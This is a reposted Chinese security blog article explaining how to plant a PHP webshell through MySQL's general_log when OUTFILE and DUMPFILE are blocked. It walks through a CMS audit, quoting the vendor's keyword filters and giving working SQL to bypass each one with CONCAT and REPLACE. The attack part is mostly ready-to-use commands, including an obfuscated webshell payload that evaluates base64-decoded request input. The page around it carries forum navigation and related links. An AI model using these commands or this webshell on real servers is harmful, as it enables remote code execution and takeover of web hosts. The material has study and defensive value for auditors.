0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

SQL語句利用日志寫shell及相關(guān)繞過

jf_hKIAo4na ? 來源:Mi1k7ea ? 2023-02-03 17:32 ? 次閱讀

0x01 基本原理

在能夠?qū)慡QL語句的地方,outfile、dumpfile、drop database等都被禁止,一般進行SQL注入來getshell或刪庫的方式行不通了。

但是如果MySQL是root用戶啟動的,那么可以進行如下利用:

show variables like '%general%';  #查看配置


set global general_log = on;  #開啟general log模式


set global general_log_file = '/var/www/html/1.php';   #設(shè)置日志目錄為shell地址


select ''  #寫入shell

SQL查詢免殺shell的語句(參考:SQL語句利用日志寫shell):

SELECT"'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a=array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_='a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

0x02 Bypass案例

這個案例雖然雞肋,但是思路還可以。

過濾 .php

代碼審計某CMS時,看到一處寫SQL語句的地方,此處之前報過漏洞,修復方案是過濾了outfile、dumpfile、drop database等,此外還過濾了.php字符串,為的就是防住SQL語句日志寫shell:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 檢測到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 檢測到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 檢測到非法字符 “.php” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允許刪除數(shù)據(jù)庫!';
    break;
}

這里直接寫上述的SQL語句肯定是不行的,因為set global general_log_file = '/var/www/html/1.php';的.php會被過濾掉。

這里只是針對字符串的檢測,可以用字符串拼接的方式Bypass,這里可以使用SQL語句中的concat家族系列函數(shù)來實現(xiàn)字符串拼接來Bypass:

show variables like '%general%';   #查看配置


set global general_log = on;        #開啟general log模式


set global general_log_file =CONCAT("/var/www/html/1.","php"); 


select '';   #寫入shell

過濾 .php和concat

在這次報過的漏洞之后,CMS廠商修改了這個洞,就是添加了對concat的字符串過濾,這樣concat家族系列函數(shù)就使不上了。

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 檢測到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 檢測到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 檢測到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 檢測到非法字符 “concat” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允許刪除數(shù)據(jù)庫!';
    break;
}

使用concat進行字符串拼接的方式?jīng)]法繞過了,但是除了字符串拼接,我們還能使用字符串替換的操作來繞過:

show variables like '%general%';   #查看配置


set global general_log = on;        #開啟general log模式


set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php"); 


select '';   #寫入shell

過濾 .php、concat和replace

CMS廠商收到新的繞過漏洞報告后,又進行新一輪的修復,過濾了replace:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 檢測到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 檢測到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 檢測到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 檢測到非法字符 “concat” !';
    break;
}
if(stripos($sql, 'replace')){
    $str = 'ERROR : 檢測到非法字符 “replace” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允許刪除數(shù)據(jù)庫!';
    break;
}

字符串拼接和替換都不能成功進行利用了,還有啥辦法不?

當然還有新的Bypass方法哈哈。

作者:Mi1k7ea

菜鳥學安全

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • SQL
    SQL
    +關(guān)注

    關(guān)注

    1

    文章

    753

    瀏覽量

    44032
  • MySQL
    +關(guān)注

    關(guān)注

    1

    文章

    798

    瀏覽量

    26401
  • 日志
    +關(guān)注

    關(guān)注

    0

    文章

    138

    瀏覽量

    10626
  • Shell
    +關(guān)注

    關(guān)注

    1

    文章

    363

    瀏覽量

    23262
  • Bypass
    +關(guān)注

    關(guān)注

    0

    文章

    7

    瀏覽量

    5602

原文標題:SQL語句利用日志寫shell及相關(guān)繞過

文章出處:【微信號:菜鳥學安全,微信公眾號:菜鳥學安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    利用ChatGPT通過Shell腳本來實現(xiàn)日志分析

    ChatGPT自出道以來,其出色的代碼能力被眾多程序員追捧,今天浩道就運維工作中常見的日志分析場景,利用ChatGPT讓它通過Shell腳本來實現(xiàn)日志分析
    的頭像 發(fā)表于 04-07 09:09 ?3085次閱讀

    SQL語句生成器

    SQL語句生成器SQL數(shù)據(jù)庫語句生成及分析器(支持表結(jié)構(gòu)、索引、所有記錄到SQL腳本)可用于數(shù)據(jù)數(shù)的備份和恢復!功能不用多說,試試就知道了
    發(fā)表于 06-12 16:15

    SQL語句的兩種嵌套方式

    一般情況下,SQL語句是嵌套在宿主語言(如C語言)中的。有兩種嵌套方式:1.調(diào)用層接口(CLI):提供一些庫,庫中的函數(shù)和方法實現(xiàn)SQL的調(diào)用2.直接嵌套SQL:在代碼中嵌套
    發(fā)表于 05-23 08:51

    區(qū)分SQL語句與主語言語句

    為了區(qū)分SQL語句與主語言語句,所有SQL 語句必須加前綴EXEC SQL處理過程:含嵌入式
    發(fā)表于 10-28 08:44

    為什么要動態(tài)sql語句

    為什么要動態(tài)sql語句?因為動態(tài)sql語句能夠提供一些比較友好的機制1、可以使得一些在編譯過程中無法獲得完整的sql
    發(fā)表于 12-20 06:00

    數(shù)據(jù)庫SQL語句電子教程

    電子發(fā)燒友為您提供了數(shù)據(jù)庫SQL語句電子教程,幫助您了解數(shù)據(jù)庫 SQL語句 ,學習讀懂數(shù)據(jù)庫SQL語句
    發(fā)表于 07-14 17:09 ?0次下載

    sql語句實例講解

    SQL是用來存取關(guān)系數(shù)據(jù)庫的語言,具有查詢、操縱、定義和控制關(guān)系型數(shù)據(jù)庫的四方面功能。常見的關(guān)系數(shù)據(jù)庫有Oracle,SQLServer,DB2,Sybase。開源不收費的有MYSQL,SQLLite等。今天我們主要以MYSQL為例子,講解SQL常用的
    發(fā)表于 11-17 12:39 ?9076次閱讀
    <b class='flag-5'>sql</b><b class='flag-5'>語句</b>實例講解

    如何使用navicat或PHPMySQLAdmin導入SQL語句

    很多朋友問我們怎么導入SQL語句,這是新人最需要知道的東西,現(xiàn)制作圖文教程,希望對新手有所幫助,順便文末附SQL語句導入導出大全,高手可以提供更加詳細的教程。
    發(fā)表于 04-10 15:06 ?2次下載

    如何使用SQL修復語句程序說明

    本文檔的主要內(nèi)容詳細介紹的是如何使用SQL修復語句程序說明。
    發(fā)表于 10-31 15:09 ?5次下載

    最實用的SQL語句快來收藏學習吧

    文章沿著設(shè)計一個假想的應用 awesome_app 為主線,從零創(chuàng)建修改數(shù)據(jù)庫,表格,字段屬性,索引,字符集,默認值,自增,增刪改查,多表查詢,內(nèi)置函數(shù)等實用 SQL 語句。收藏此文,告別零散又低效
    的頭像 發(fā)表于 12-21 11:04 ?3257次閱讀

    嵌入式SQL語句

    為了區(qū)分SQL語句與主語言語句,所有SQL 語句必須加前綴EXEC SQL處理過程:含嵌入式
    發(fā)表于 10-21 11:51 ?4次下載
    嵌入式<b class='flag-5'>SQL</b><b class='flag-5'>語句</b>

    sql server執(zhí)行os-shell

    條件:數(shù)據(jù)庫權(quán)限必須是dba權(quán)限可利用sql-shll進行命令執(zhí)行,部分常用ql語句
    的頭像 發(fā)表于 10-24 17:42 ?2082次閱讀

    sql注入漏洞解決方法有哪些?

    什么是sql注入?SQL注入(SQLi)是一種執(zhí)行惡意SQL語句的注入攻擊。攻擊者可能會利用 SQL
    的頭像 發(fā)表于 10-07 17:29 ?4706次閱讀
    <b class='flag-5'>sql</b>注入漏洞解決方法有哪些?

    sql查詢語句大全及實例

    SQL(Structured Query Language)是一種專門用于數(shù)據(jù)庫管理系統(tǒng)的標準交互式數(shù)據(jù)庫查詢語言。它被廣泛應用于數(shù)據(jù)庫管理和數(shù)據(jù)操作領(lǐng)域。在本文中,我們將為您詳細介紹SQL查詢語句
    的頭像 發(fā)表于 11-17 15:06 ?1384次閱讀

    oracle執(zhí)行sql查詢語句的步驟是什么

    Oracle數(shù)據(jù)庫是一種常用的關(guān)系型數(shù)據(jù)庫管理系統(tǒng),具有強大的SQL查詢功能。Oracle執(zhí)行SQL查詢語句的步驟包括編寫SQL語句、解析
    的頭像 發(fā)表于 12-06 10:49 ?878次閱讀